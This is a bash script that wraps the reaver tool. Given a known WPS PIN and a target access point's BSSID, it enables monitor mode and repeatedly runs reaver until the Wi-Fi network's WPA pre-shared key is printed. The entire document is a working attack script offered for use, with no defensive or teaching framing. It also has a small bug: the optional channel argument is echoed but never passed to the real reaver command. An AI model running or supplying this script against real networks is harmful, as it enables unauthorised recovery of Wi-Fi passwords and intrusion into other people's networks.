#!/bin/bash
# following script was created to deal with situation when only PIN is printed, but not WPA PSK
# so script searches WPA PSK until reaver spits it out, using while loop
# perl checks wheter PSK is printed, if so, exit is called.
if [ -z "$1" ] || [ -z "$2" ]; then
   echo "Usage ( [obligatory parameter], [[optional parameter]] ):";
   echo "$0 [PIN] [BSSID] [[CHANNEL]]";
   echo "Example usage:"
   echo "$0 12345679 AA:BB:CC:DD:EE:FF";
   exit;
fi

TMP_FILE="/tmp/reCheckFoundPinTMP";

if [[ -z "$(ifconfig | grep mon0)" ]]; then
    airmon-ng start wlan0;
fi

CHANNEL="";
if [[ -n "$3" ]]; then
   CHANNEL="--channel=$3 ";
fi

if [[ -f $TMP_FILE ]]; then
   rm $TMP_FILE;
fi

while true; do
  if [[ -f $TMP_FILE ]]; then
      rm $TMP_FILE;
      exit;
  fi
  sleep 5;
  echo "reaver -p $1 -i mon0 -b $2 -vv -t 20 -g 1 -S -N $CHANNEL";
  reaver -p $1 -i mon0 -b $2 -vv -t 20 -g 1 -S -N | perl -lane '
    if (/WPA PSK/){
	print $_;
	system("touch '$TMP_FILE'");
    }
    else {
	print $_;
    } 
';
done